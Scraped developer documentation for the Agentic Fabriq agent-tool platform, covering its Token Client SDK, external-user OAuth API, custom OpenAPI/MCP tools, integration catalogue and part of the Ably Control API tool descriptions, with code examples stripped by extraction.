calls, avoid repeated list_tools() calls: 5. Use Appropriate Auth Method Scenario Recommended Method Local development cli CI/CD pipelines cli with service account Web applications (standard) keycloak Enterprise apps with Okta idp Complete Examples Email Assistant Agent Web App with Keycloak Synchronous Script My Email Agent My Email Agent Q4 planning async with MCPClient(method= , app_id= , app_secret= async with MCPClient(method= , app_id= , app_secret= tool = client.get_tool( Recipient email address Email subject line Email body content CC recipients (optional) result = await client.call_tool( user@example.com Suggestion: Run Suggestion: Check network connectivity and MCP server URL async with MCPClient(method= , app_id= , app_secret= sk_live_xyz789... user@example.com Email sent! Error: Gmail not connected No unread emails No subject Run: afctl auth login Authentication failed Authentication failed 2024-01-15T00:00:00Z 2024-01-15T23:59:59Z ================================================================================ ## Token Broker Guide URL: https://www.agenticfabriq.com/docs/token-broker Section: How Your Agent Calls AF Token Broker Guide The TokenClient is an alternative to the MCP Client that returns OAuth tokens and API metadata instead of executing tool calls. This gives developers full control over HTTP requests while Agentic Fabriq handles OAuth token management. Table of Contents Prerequisites Installation Quick Start Authentication Methods Basic Usage Patterns Working with Tools Token Response Format Making API Calls Configuration Options Properties and Methods Error Handling Best Practices Complete Examples MCP Client vs Token Client Prerequisites Before using the Token Client, ensure you have completed the following setup: 1. Register and Activate an Application Applications act as the identity for your agent. Each application has credentials that allow it to access tools on behalf of users. Option A: Register via Dashboard (Recommended) Go to the Agentic Fabriq dashboard Navigate to admin console (if you are an admin) Click Register to receive an activation token and activate the app Copy the App ID and App Secret from the activation screen Option B: Register via CLI See CLI Reference (afctl) for tags, parameters, etc. After activation, you'll have: app_id : Your application identifier (e.g., org-abc123_my-api-agent app_secret : Your application secret key (e.g., sk_live_xyz789... If using the CLI, credentials are saved to 2. User Authentication Users must authenticate before the Token Broker can access their tools. The authentication method depends on your deployment: Scenario Auth Method How User Authenticates Local development/testing cli User runs afctl auth login Web app with Keycloak keycloak User logs in via Keycloak, app receives Keycloak JWT Enterprise SSO (Okta) idp User logs in via Okta, app receives Okta JWT 3. Tool Connections Users must connect the tools they want to use. This is done via: Dashboard UI : Users connect tools in the Agentic Fabriq dashboard CLI afctl tools add and afctl tools connect The Token Client can only access tools that: The user has connected The application has scopes for Installation pip install agentic-fabriq-sdk Import the client: from af_sdk import TokenClient Quick Start Authentication Methods The Token Client supports three authentication methods, each suited for different deployment scenarios. CLI Method ( method="" Use case : Local development, testing, CLI scripts, or any scenario where the user has already authenticated via afctl auth login How it works : The client reads stored credentials from ~/.af/credentials.json (created by afctl auth login ) and exchanges them for an AF token. Required parameters app_id app_secret Keycloak Method ( method="" Use case : Web applications or services that authenticate users directly through Keycloak (Agentic Fabriq's identity provider). Required parameters app_id app_secret keycloak_token IdP Method ( method="" Use case : Enterprise organizations using external identity providers like Okta for SSO. Required parameters app_id app_secret external_token Optional parameters org_url (auto-detected from app if not provided, used to identify organization) Basic Usage Patterns Async Context Manager (Recommended) The async context manager automatically handles connection and cleanup: Sync Context Manager For synchronous code, use the sync context manager with _sync method variants: Manual Connection Management For fine-grained control over the connection lifecycle: Working with Tools Listing Available Tools The list_tools() method fetches all tools available to the current user based on their connections and the application's scopes: Each tool definition includes: name : The tool identifier (e.g., google_gmail_list_messages description : Human-readable description of what the tool does inputSchema : JSON Schema defining the tool's parameters Accessing Cached Tools After calling list_tools() , tools are cached for quick access: Getting Tokens for Tools Use get_token() with the tool name and a dictionary of arguments: The token response includes everything you need to make the API call yourself. Token Response Format When you call get_token() , you receive a TokenInfo object with all the information needed to make the API call: Example Token Response Making API Calls With httpx (Recommended) With requests (Sync) POST Requests with Body Configuration Options Parameter Type Default Description method str required Authentication method: "cli" "keycloak" , or "idp" app_id str required Application ID from afctl applications activate app_secret str required Application secret from afctl applications activate keycloak_token str None Keycloak JWT token. Required when method="" external_token str None External IdP token (e.g., Okta). Required when method="" org_url str None Organization URL (e.g., "mycompany.com" ). Used with method="" broker_url str https://dashboard.agenticfabriq.com/tokens Token Broker URL. Override for self-hosted. gateway_url str https://dashboard.agenticfabriq.com Gateway URL for token exchange. Override for self-hosted. timeout float Request timeout in seconds. Properties and Methods Properties Property Type Description is_connected bool True if the client is connected and authenticated tool_names List[str] List of available tool names (from cache) token_info AFTokenResponse Token metadata including user_id app_id expires_in Connection Methods Method Returns Description connect() None Authenticate and connect. Called automatically by context manager. disconnect() None Close the connection. Called automatically by context manager. connect_sync() None Synchronous version of connect() disconnect_sync() None Synchronous version of disconnect() Tool Methods Method Returns Description list_tools() List[Dict] Fetch available tools from the server. Updates the internal cache. get_token(name, arguments) TokenInfo Get OAuth token and API metadata for a tool. get_tools() List[Dict] Get the cached tool list (no network call). get_tool(name) Dict | None Get a specific tool definition from the cache by name. has_tool(name) bool Check if a tool exists in the cache. list_tools_sync() List[Dict] Synchronous version of list_tools() get_token_sync(name, arguments) TokenInfo Synchronous version of get_token() Error Handling The SDK provides specific exception types for different error scenarios: Exception Reference Exception Causes Resolution AuthenticationError Token expired, invalid/missing credentials, not logged in, invalid app_id or app_secret Run afctl auth login , verify app credentials MCPConnectionError Network failure, server unreachable, calling methods without connecting first Check network, verify broker_url , ensure connect() was called MCPError Tool not found, missing tool connection, insufficient scopes Verify tool name, ensure user has connected the tool Best Practices 1. Always Use Context Managers Context managers ensure proper cleanup even if errors occur: 2. Check Tool Availability Before Requesting Tokens 3. Handle Token Expiration Tokens have an expiration time. For long-running applications, check token.expires_in 4. Reuse HTTP Clients 5. Use Appropriate Auth Method Scenario Recommended Method Local development cli CI/CD pipelines cli with service account Web applications (standard) keycloak Enterprise apps with Okta idp Complete Examples Gmail Reader Web App with Keycloak Sync Script MCP Client vs Token Client Both clients use the same authentication flow and connect to Agentic Fabriq. The difference is what they return: Aspect MCPClient TokenClient Main method call_tool() get_token() Returns API response data Token + API metadata HTTP calls Made by server Made by you Control Less control Full control Debugging Limited visibility Full request/response visibility Use Token Client when you need: Full control over HTTP requests Custom request/response handling Direct debugging of API calls Integration with existing HTTP infrastructure Use MCP Client when you need: Simple tool execution without HTTP handling Standard MCP protocol compatibility Server-side error handling and retries async with TokenClient(method= , app_id= , app_secret= async with TokenClient(method= , app_id= , app_secret= Gmail is available! token = await client.get_token( token = await client.get_token( token = await client.get_token( Bearer ya29.a0AfH6... application/json Authorization: Bearer ya29.a0AfH6... Content-Type: application/json , app_id= , app_secret= , app_id= , app_secret= async with TokenClient(method= , app_id= , app_secret= Suggestion: Run Suggestion: Check network connectivity and broker URL token = await client.get_token( Error: Gmail not connected No unread emails! : msg[ No subject Run: afctl auth login List user modifiedTime desc Authentication failed Authentication failed Calendar not connected 2026-02-23T00:00:00Z 2026-02-23T23:59:59Z No title ================================================================================ ## External Users (B2B2C) URL: https://www.agenticfabriq.com/docs/external-users Section: Fabriq Developer External Users (B2B2C) Serve your end-users' tools through Agentic Fabriq without requiring them to create an account. B2B2C External Users API Overview External Users (B2B2C) lets you build applications where YOUR end-users connect their tools (Gmail, Slack, etc.) through Agentic Fabriq — without needing their own Agentic Fabriq account. You authenticate users in your own system, then use the External Users API to manage their tool connections and issue tokens for MCP calls. Requirements: Requires Growth plan or above The application must have b2b2c_enabled set to true How It Works Your user authenticates with YOUR system (your own login flow) You call the External Users API to create/register the user in Agentic Fabriq You initiate an OAuth flow for the user to connect a tool (e.g., Gmail) The user authorizes in their browser, granting your app access to their tool You issue a JWT token for the user via the API You include that token in MCP calls to execute tools on behalf of the user Prerequisites Growth plan or above A registered application with b2b2c_enabled: true App credentials ( app_id app_secret ) from application activation A callback URL configured on your application ( b2b2c_oauth_callback_url Authentication Two methods for authenticating API calls: MCP Service Auth : Use the MCP client with your app credentials — the middleware automatically populates org/app context App Credentials : Send X-App-Id and X-App-Secret headers directly API Reference Creating an External User external_user_id : Your own user identifier (max 255 chars, no , or email and display_name are optional metadata Initiating OAuth for a Tool Returns oauth_url (plus state and connection_id ) — redirect your user to that URL After authorization, Agentic Fabriq redirects to your b2b2c_oauth_callback_url with the result Which providers: key_connect Provider Auth Catalogue for the full map Issuing a Token Response: Use this token in Authorization: Bearer headers for MCP calls on behalf of the user Tokens expire in 1 hour — issue a new one as needed Listing Connections Disconnecting a Tool Deleting an External User Complete Example Python example using httpx: The AgenticFabriq initiate_connection for_user handle user creation, token caching and MCP setup for you. See the Developer Quickstart Connecting Your Users' Tools Security Notes External user IDs cannot contain , or (breaks internal routing and Vault paths) App secrets must be kept server-side — never expose them in client code Tokens are scoped to the specific external user and application All actions are subject to the admin-assigned action limits (zero-trust model) Tool connections are isolated per external user — one user can't access another's connections X-App-Id: your-app-id X-App-Secret: your-app-secret Content-Type: application/json user@example.com John Doe X-App-Id: your-app-id X-App-Secret: your-app-secret X-App-Id: your-app-id X-App-Secret: your-app-secret X-App-Id: your-app-id X-App-Secret: your-app-secret X-App-Id: your-app-id X-App-Secret: your-app-secret X-App-Id: your-app-id X-App-Secret: your-app-secret user@example.com t access another ================================================================================ ## Custom Tools (API / MCP) URL: https://www.agenticfabriq.com/docs/tools-custom Section: Custom Tools Custom Tools (API & MCP) Integrate your own REST APIs and MCP servers as tools that agents can access through Agentic Fabriq. Admin OpenAPI MCP Server Custom Integration Overview Agentic Fabriq supports two types of custom tool integrations beyond the built-in connectors (Gmail, Slack, etc.): OpenAPI Tools : Import an OpenAPI/Swagger specification to create tools from REST API endpoints MCP Server Tools : Connect to an external MCP server and discover its tools automatically Both types follow the same zero-trust permission model: actions are denied by default until an admin explicitly grants them. Tool Types Feature OpenAPI MCP Server Specification OpenAPI 3.x / Swagger 2.0 MCP Protocol Discovery Import from URL or file upload Auto-discover from server Authentication OAuth 2.0, API Key, Bearer Token OAuth 2.0 (RFC 9728/8414), API Key, Bearer Token User Connection OAuth flow per user OAuth flow per user (if server supports it) Execution HTTP request to API endpoint MCP call to server Admin Setup — OpenAPI Tools 1. Create the Tool Navigate to Admin Console > Custom Tools > "Add Integration" Select type: OpenAPI Enter a name and slug (auto-generated from name) Optionally select a Network Connector if the API is on a private network 2. Import the Specification Upload a JSON/YAML file or enter the spec URL Preview parsed actions and scopes before importing Click "Import" to create actions and scopes from the spec 3. Review Actions and Scopes Each API endpoint becomes an action with a detected risk level ( read write delete external Risk levels can be overridden by the admin Mapping status: mapped (admin verified), inferred (auto-detected), unverified (needs review) 4. Configure OAuth Credentials Set auth type (OAuth 2.0, API Key, Bearer Token) Enter authorize URL, token URL, client ID, client secret Configure scope separator and token placement Note: Credentials are stored securely in the vault and are never exposed in API responses. 5. Assign Permissions Default: all actions are denied for all users Grant per-user permissions: Custom Tools > tool detail > Members tab Or create scope groups and assign users to groups The scope pool defines which OAuth scopes are requested during user connection 6. Mark Setup Complete Once configured, the tool becomes visible to users. Admin Setup — MCP Server Tools 1. Create the Tool Navigate to Admin Console > Custom Tools > "Add Integration" Select type: MCP Server Enter a name, slug, and the MCP server URL 2. Discover Authentication Requirements Click "Discover Auth" to probe the server for RFC 9728/8414 OAuth metadata. If the server requires OAuth, enter client credentials. 3. Admin Connection Complete the "Admin Connect" step to establish your own connection to the MCP server. This allows Agentic Fabriq to discover tools from the server. 4. Discover Tools Click "Discover Tools" to fetch the list of available tools from the MCP server Each discovered tool becomes an action Bulk enable/disable which tools are available to users 5. Assign Permissions Same as OpenAPI: all actions are denied by default. Grant per-user permissions or use scope groups. 6. Mark Setup Complete Once configured, the tool becomes visible to users. User Workflow Browse available custom tools in the dashboard ( My Tools section) Click "Connect" to initiate OAuth with the external service Grant the requested scopes Once connected, agents can invoke the custom tool's actions via MCP View connections and manage scopes in My Tools > Custom Tool Connections Zero-Trust Permission Model Important: Custom tools use a zero-trust model. By default, no user can execute any action. Admins must explicitly grant permissions. Permission layers: Admin action limits : Which actions a user is allowed to execute (toggle per action per user) Scope groups : Group actions and scopes together, then assign users to groups User OAuth scopes : What the user actually granted during OAuth Effective permission : Intersection of all three layers The scope pool defines the default set of scopes requested if an action doesn't specify explicit scopes. Execution Failure Diagnostics When a user's tool call fails with (insufficient scope), it is recorded as an execution failure Admins can view failures: Custom Tools > tool detail > Diagnostics tab Review the failure (which action, which user, what scope was missing) Resolve by granting the missing scope or updating the action's scope mapping Mark failures as resolved once addressed Network Connectors For APIs on private networks (not publicly accessible), use a Network Connector Network connectors create a secure tunnel between Agentic Fabriq and your private infrastructure Select the network connector when creating the custom tool All API requests will be routed through the tunnel ================================================================================ ## Integration Catalogue URL: https://www.agenticfabriq.com/docs/tools-catalogue Section: Integrated Tools n + g.rows.length, 0); const MethodBadge: React.FC Integration Catalogue Every connector Agentic Fabriq ships, what it exposes, and how a connection to it is made. Per-action permissions A tool is the unit you grant Each row's tool count is the number of individually grantable MCP tools that integration exposes — slack_send_message slack_list_channels is another. You grant tools, not whole products, so an agent allowed to read Slack cannot post to it. The three connection methods Not every provider supports every method, and the table below is explicit about which ones each supports. Whichever is used, the resulting credential is stored in Agentic Fabriq's vault and never returned to your backend. The fastest path: the user signs in at the provider and approves, with nothing to register and nothing to paste. Usage counts against Agentic Fabriq's app at that provider — which for metered APIs (X, for example) means Agentic Fabriq is billed for the calls and the rate limit is shared. You register an app at the provider and give Agentic Fabriq its client ID, secret and redirect URI. The OAuth flow is otherwise identical. You get your own rate limit and your own bill, which is the right choice for anything high-volume — and for Salesforce and Zendesk it is the only choice, because neither issues the kind of cross-account app the shared path would need. Some products have no OAuth flow worth running. For those, the credential is pasted once — a personal access token, a restricted API key, an account SID and key pair. There is no authorization round trip: submitting the credential is the handshake, and Agentic Fabriq validates it against the provider before storing it. Every integration Every connector has its own page in these docs, with its actions, scopes and connection methods. Use the connector search in the sidebar to jump straight to one. Tool names MCP tool names are google_ prefix on top of it. Integration Example tool name list_tools , which returns only the tools that survive the intersection of the agent's grants, the user's grants, and the tools the connection's scopes actually cover. Not in the catalogue? The catalogue is the set of connectors Agentic Fabriq maintains. Anything else reaches your agent through the same governance layer via a custom integration: Custom Tools (API / MCP) Point Agentic Fabriq at an OpenAPI spec or an MCP server. Private Network Connector Reach systems that are not on the public internet. AF hosted — your user signs in to their account using Agentic Fabriq AF hosted — Agentic Fabriq BYO — your admin registers the OAuth app, then your user signs in to their account through it BYO — your own OAuth app (coming soon) API / credentials — your user pastes a credential into an AF-hosted connect screen AF hosted sign-in — your user signs in to their account on an AF page; there is no credential to paste bg-emerald-50 text-emerald-800 border-emerald-200 bg-blue-50 text-blue-800 border-blue-200 bg-amber-50 text-amber-800 border-amber-200 bg-gray-50 text-gray-600 border-gray-300 bg-gray-50 text-gray-600 border-gray-300 bg-indigo-50 text-indigo-800 border-indigo-200 Google Drive Google Docs Google Sheets Google Slides Google Calendar Google Meet Google Forms Google Contacts (People) Google Chat Google Tasks Google Classroom Microsoft Outlook Microsoft Calendar Microsoft OneDrive Microsoft Contacts Microsoft Teams Chat Microsoft Bookings Microsoft OneNote Microsoft To-Do Azure AD app: client_id, client_secret, redirect_uri Slack app: client ID, secret, redirect URI Notion integration: client ID, secret, redirect URI API key (grn_…), Business/Enterprise workspaces only Personal access token (pat…) X (Twitter) X app: client_id, client_secret, redirect_uri account_sid, api_key_sid, api_key_secret GitHub OAuth app: client ID, secret, redirect URI Personal API key (lin_api_…) OAuth only — Replit registers the client dynamically (RFC 7591) Supabase OAuth app: client_id, client_secret, redirect_uri Key-pair auth: account_identifier, user, private_key, warehouse, role, database, schema api_key, application_key, site External Client App: consumer key, consumer secret, login URL, redirect URI Zendesk OAuth client: subdomain, client ID, secret, redirect URI shop_domain plus an Admin API access token (or client ID + secret) Restricted API key (rk_…) QuickBooks Online Intuit app: client_id, client_secret, redirect_uri API key AI/ML API API key Anchor Browser API key API key API key Personal Access Token API Token Secret key API key Cody AI API key API key API key DocsBot AI API key API key , label: , tools: 64, methods: [ ], credential: API key Google Cloud Vision API key Hugging Face API Key API Key API key Kaggle API token; OAuth coming soon API key API key API key Mistral AI API key API key API key; OAuth coming soon API key API token Retell AI API key Rev AI Access Token Scale AI API key SwarmSync AI API key , label: , tools: 40, methods: [ ], credential: Private API key Server Access Token API key , label: , tools: 99, methods: [ ], credential: API key API key API Token API secret key; your own OAuth app: client ID, secret, redirect URI API Key Access token; your own OAuth app: client ID, secret, redirect URI; OAuth coming soon API token Better Proposals API Key/Token API token API key Access Token BoxHero API token Breathe HR API key Breezy HR API Key (Personal Access Token) Brilliant Directories API key BTCPay Server API key; your own OAuth app: client ID, secret, redirect URI; OAuth coming soon Capsule CRM API authentication token; your own OAuth app: client ID, secret, redirect URI API key API key API key API Key, API Secret API Token Store API key Connecteam API key API key API key API key API key API token API token Fidel API Secret API key, SDK key (public) API token FinerWorks web_api_key and app_key API token API Access Token API login (email address), API password; OAuth coming soon Secret key API key API key API key Gift Up! API key API key API key GoDial access token API key Account ID, Personal Access Token; your own OAuth app: client ID, secret, redirect URI; OAuth coming soon Help Scout Workspace API key, Organization (master) API key API key API key La Growth Machine API key API key Lemon Squeezy API key Lexware Office Public API key; OAuth coming soon API key Maxio Advanced Billing API key MX Technologies MX client_id and API key Needle API key API key Paystack secret key Pipeline CRM API token API key Polymarket US Print & Mail API key API key API key API token API token API key SafetyCulture (Mitti) API token API key API token ShipEngine API key API key API key API Token API token , label: , tools: 585, methods: [ Wix API key; your own OAuth app: client ID, secret, redirect URI Zoho CRM Alpha Vantage API key API key; OAuth coming soon API.Bible API key API Ninjas API Key API key BART API key Database token Beaconcha.in API key BigDataCloud API key US Census Bureau API key CodeREADr API key API key College Football Data API key API Key Composio Search Project API key API token Countdown API Countdown API key API key API key Login and password Diffbot API token Dungeon Fighter Online API Key API key API key Felt API token Finage API key Geoapify API key API key Google Analytics API key API key API key; your own OAuth app: client ID, secret, redirect URI API key , label: , tools: 59, methods: [ ], credential: HigherGov API key API license key Ipdata API key API token API token API key ListClean API Key Listen Notes API key Access token API Access Key API key NASA API Key Neutrino API API token OpenWeather API key Parsio API key People Data Labs API key Polygon.io (Massive) API Key Secret key API key RedCircle API key API Token API token Semantic Scholar API key SERPHouse API key API key Twelve Data API Key WhoisFreaks API key ZeroBounce API key Google BigQuery V5 API key API key Access token API key API key; OAuth coming soon API key API key App API key Algolia API Key Apify API token Personal Access Key API token Better Stack API token; your own OAuth app: client ID, secret, redirect URI BigML API key API key (id:secret) API key BugSnag (SmartBear Insight Hub) Personal Auth Token Account API key API token Personal API Token API token API token ConvertAPI API token API key DEV Community DEV API Key Docker Hub Personal Token , label: , tools: 56, methods: [ ], credential: Firecrawl API key; OAuth coming soon API key Fly.io API token GitHub Gist scope); your own OAuth app: client ID, secret, redirect URI API key API Key API token Imgix API key API key API key Encoded API key API token Access key API key New Relic User API key API key Northflank API token API key Postman API Key API Key API key Access token API key Seqera Platform Platform access token Private API key API key Stack Exchange API token API key (auth token) SwaggerHub API key Turbot Pipes API token API key Access token; your own OAuth app: client ID, secret, redirect URI API key API key , label: , tools: 288, methods: [ cloudlayer.io Cloudlayer.io API key Coda (Superhuman Docs) API token Access key API token API key Personal API key Dropbox Sign API key eSignatures.com Secret Token Fireflies API key Happy Scribe API key API key; OAuth coming soon API key API token Authentication token, Organizational token Microsoft OneNote API key; your own OAuth app: client ID, secret, redirect URI API key API key API token API key API key API key Access token API key API key Uniqode (Beaconstac) API key Benchmark Email API key API key API key API Key API token Constant Contact App API Key Doppler Marketing Automation API Key API key API key API key Primary API key API key Formbricks API key API key API key API key API key API key , label: , tools: 83, methods: [ Private API key; your own OAuth app: client ID, secret, redirect URI API-sleutel (API key) Personal access token API key MailBluster API key API token API token API key; your own OAuth app: client ID, secret, redirect URI API key API key; OAuth coming soon App API key, Organization API key API key API key API Key Reddit Ads Referral Rock API key Client ID (API key) Semrush v4 API key Secret API key (sk_...) Simplero API key Snapchat Ads Personal API key API key API key API key Personal access token; OAuth coming soon API key API key Google Ads LinkedIn Ads Meta Marketing API key API key API token (APIトークン) API key API key Google Chat Personal Access Token API key API key API token API token API token API Token Server API token Application API Token, User Key Revolt (Stoat) Bot token API key API token Twilio SendGrid API key SMS Alert API key API key Subscription API Key, Application Token, Tenant Token (multi-tenant Applications only) (Tenant Token (multi-tenant Applications only) optional) Superchat API token API Token API key Access Token Whautomate API key Breeze API token BugHerd API key Secret API key API key API token; OAuth coming soon API Token Hub Planner API Key API key API key API token API key API key API token Toggl Track API token API token Worksnaps API token Control D API token API key API key API key API key API key API Key API key API key Google Workspace Microsoft 365 Microsoft Graph surfaces, plus SharePoint as a provider of its own. Collaboration & productivity Messaging, notes, records and the accounts that own them. Developer & data platforms Source control, issue tracking, app hosting, warehouses and observability. Business systems CRM, support, commerce and accounting — the systems where a wrong write costs money. , blurb: CRM, billing, HR, payments and field operations — the systems where a wrong write costs money. Market data, analytics, enrichment and the warehouses and feeds behind them. Boards, brand assets and the tools that generate them. Source control, CI, hosting, secrets, observability and API tooling. Docs & knowledge Documents, signatures, research repositories and file conversion. Email, SEO, affiliates, forms and campaign tooling. Email delivery, chat, SMS and the inboxes that receive them. Project management Work tracking, time and client delivery. Google Drive Microsoft Outlook QuickBooks Online X (Twitter) s grants, the user ================================================================================ ## Ably URL: https://www.agenticfabriq.com/integrations/ably Section: Integrated Tools Ably — 42 MCP tools Provider key: ably. Scopes: channel-metadata, history, publish, push-admin, read:app, read:key, read:namespace, read:queue, read:rule, read:stats, stats, subscribe, write:app, write:key, write:namespace, write:queue, write:rule. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. ably_control_delete_apps_by_app_id_namespaces_by_namespace_id (write, destructive) — Delete a channel rule (namespace) via DELETE https://control.ably.net/v1/apps/{app_id}/namespaces/{namespace_id}. Delete a channel namespace. The channels under that prefix fall back to the application's defaults immediately -- persistence, presence and push settings that the namespace was providing all stop applying -- and there is no undo. List the namespaces first and keep the settings: the reply to this call does not return them. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. DELETE /api/v1/ably/control/apps/{app_id}/namespaces/{namespace_id}. Scopes: write:namespace. ably_control_delete_apps_by_app_id_queues_by_queue_id (write, destructive) — Delete a queue via DELETE https://control.ably.net/v1/apps/{app_id}/queues/{queue_id}. Delete a queue. Whatever is still sitting in it is discarded, consumers connected to it are disconnected, and any integration rule delivering into it starts failing. Check the rules on this app first: this call does not tell you which of them pointed here. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. DELETE /api/v1/ably/control/apps/{app_id}/queues/{queue_id}. Scopes: write:queue. ably_control_delete_apps_by_app_id_rules_by_rule_id (write, destructive) — Delete an integration rule via DELETE https://control.ably.net/v1/apps/{app_id}/rules/{rule_id}. Delete an integration rule. Deliveries to its destination stop immediately and there is no undo -- recreating it needs the rule type, the source, the channel filter and the whole target configuration, which this call does not return. Read the rule first if it might need to come back. It affects the whole application, not only this connection: whoever relied on that delivery loses it. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. DELETE /api/v1/ably/control/apps/{app_id}/rules/{rule_id}. Scopes: write:rule. ably_control_delete_apps_by_id (write, destructive) — Delete an app via DELETE https://control.ably.net/v1/apps/{id}. Delete an Ably application. THIS IS NOT REVERSIBLE AND IT IS NOT NARROW: the app's channels, API keys, integration rules, queues and namespaces go with it, and every client, device and server holding one of that app's keys stops working immediately. Ably offers no undelete. List the app's keys, rules and queues first if any of it needs to be recreated afterwards -- none of it is in this reply. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. DELETE /api/v1/ably/control/apps/{id}. Scopes: write:app. ably_control_get_accounts_by_account_id_apps (read) — List apps via GET https://control.ably.net/v1/accounts/{account_id}/apps. List every Ably application on the account, each with its id, name, status and settings (TLS-only, APNs environment, and the like). This is where an app id comes from: almost every other Control tool takes one in the path. `ably_control_get_me` returns this connection's account id, which is what account-level routes take in the path; an app id comes back from the create-app reply and is also the first segment of that app's API key. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/accounts/{account_id}/apps. Scopes: read:app. ably_control_get_accounts_by_id_stats (read) — Read account statistics via GET https://control.ably.net/v1/accounts/{id}/stats. Read account-wide usage statistics: messages, connections, channels and API requests, aggregated across every app on the account. `id` is the ACCOUNT id, not an app id. `start` and `end` are milliseconds since the Unix epoch and are rounded down to the start of the `unit` interval (minute, hour, day or month); `direction` orders `backwards` (most recent first, the default) or `forwards`, and `limit` caps the page. `ably_control_get_me` returns this connection's account id, which is what account-level routes take in the path; an app id comes back from the create-app reply and is also the first segment of that app's API key. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/accounts/{id}/stats. Scopes: read:stats. ably_control_get_apps_by_app_id_keys (read) — List an app's API keys via GET https://control.ably.net/v1/apps/{app_id}/keys. List the API keys on one application, each with its key id, name, capabilities and creation time. Reading the capabilities is what makes this useful: an Ably key's power is fixed when it is minted, as a map of channel-name patterns to capability operations, and this is where you see what a given key can actually do. KEY MATERIAL IS REDACTED. Ably returns the complete API key (`appId.keyId:keySecret`) in the `key` field of every object this call answers with; Agentic Fabriq replaces that one field before the reply leaves the gateway, so a working data-plane credential never lands in a tool result, an audit event or a model's context. Everything else -- the key id, its name, its capabilities, its app -- is returned untouched, which is what the other key tools need. To read the key's value, open the app's API Keys tab in the Ably dashboard. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/apps/{app_id}/keys. Scopes: read:key. ably_control_get_apps_by_app_id_namespaces (read) — List channel rules (namespaces) via GET https://control.ably.net/v1/apps/{app_id}/namespaces. List an application's channel namespaces -- Ably calls them channel rules. A namespace is a channel-name prefix (`chat` matches `chat:room1`) carrying the settings that apply to every channel under it: whether messages are persisted, whether presence is enabled, whether push is enabled, whether the channel is TLS-only. This is the call that explains why a channel behaves the way it does -- message history, for instance, exists only where persistence is on. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/apps/{app_id}/namespaces. Scopes: read:namespace. ably_control_get_apps_by_app_id_queues (read) — List queues via GET https://control.ably.net/v1/apps/{app_id}/queues. List the application's Ably-hosted message queues, each with its name, region, AMQP and STOMP connection details and current state (message counts, whether it is approaching its limits). A queue is where an integration rule of type `amqp` delivers, so this is the other half of the rules picture. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/apps/{app_id}/queues. Scopes: read:queue. ably_control_get_apps_by_app_id_rules (read) — List integration rules via GET https://control.ably.net/v1/apps/{app_id}/rules. List the application's integration rules -- the standing subscriptions that forward Ably messages, presence events and channel lifecycle events out to somewhere else: a webhook, a serverless function, an Ably queue, an AWS or Kafka or Pulsar target, or a content-moderation vendor. READ THIS BEFORE CREATING ONE: a duplicate rule means every matching message is delivered twice. A rule's `target` may itself contain credentials for the third-party system, so treat this reply as sensitive. PLANE: Ably CONTROL API (https://control.ably.net/v1). This tool needs an Ably ACCOUNT ACCESS TOKEN -- the credential the 'Control API access token' connection method collects -- and an Ably app API key will not work on it (measured: a valid app key answers 401 on every Control route). If this connection was made with an app key, Agentic Fabriq refuses the call by name rather than forwarding it to be answered with a bare 401. GET /api/v1/ably/control/apps/{app_id}/rules. Scopes: read:rule. ably_control_get_apps_by_app_id_rules_by_rule_id (read) — Read an integration rule via GET https://control.ably.net/v1/apps/{app_id}/rules/{rule_id}. Read one integration rule by its id: its type, its source, its channel filter, its status and its full target configuration. The target may contain credentials for the third-party system the rule delivers to, so treat this reply 